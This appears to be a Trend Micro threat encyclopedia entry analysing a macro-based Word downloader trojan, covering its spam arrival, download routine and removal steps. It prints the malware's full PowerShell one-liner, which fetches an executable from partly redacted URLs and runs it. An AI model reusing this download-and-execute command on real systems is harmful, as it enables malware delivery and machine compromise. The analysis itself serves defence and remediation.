W2KM_POWLOAD.THAOIH

 Analysis by: John Anthony Banes

 ALIASES:

VBA/TrojanDownloader.Agent.GDU (ESET-NOD32); W97M/Downloader.ba (McAfee); Trojan:O97M/Donoff (Microsoft);

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email, Downloaded from the Internet


This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

169,472 bytes

File Type:

DOC

Memory Resident:

No

Initial Samples Received Date:

09 Jan 2018

Payload:

Connects to URLs/IPs, Displays graphics/image

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://www.{BLOCKED}disana.com/b2suXtZ
  • https://www.{BLOCKED}m.nu/q5BxW
  • http://www.{BLOCKED}sinsweden.se/Qj4Y
  • http://{BLOCKED}tory.fp.ub.ac.id/wp-content/EBNN
  • http://www.{BLOCKED}iy.ru/cZLO/

It saves the files it downloads using the following names:

  • %System Root%\Users\Public\{random numbers}.exe

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • It uses Powershell commands to download and execute a malicious file:
    $franc = new-object System.Net.WebClient;$nsadasd = new-object random;$bcd = 'http://www.{BLOCKED}disana.com/b2suXtZ/,https://www.{BLOCKED}m.nu/q5BxW/,http://www.{BLOCKED}nsweden.se/Qj4Y/,http://repository.fp.{BLOCKED}c.id/wp-content/EBNN/,http://www.{BLOCKED}iy.ru/cZLO/'.Split(',');$karapas = $nsadasd.next(1, 343245);$huas = $env:public + '\' + $karapas + '.exe';foreach($abc in $bcd){try{$franc.DownloadFile($abc.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message;}}

NOTES:

The document contains the following message details luring users to enable macro content:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.894.04

FIRST VSAPI PATTERN DATE:

09 Jan 2018

VSAPI OPR PATTERN File:

13.895.00

VSAPI OPR PATTERN Date:

10 Jan 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %System Root%\Users\Public\{Random Numbers}.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as W2KM_POWLOAD.THAOIH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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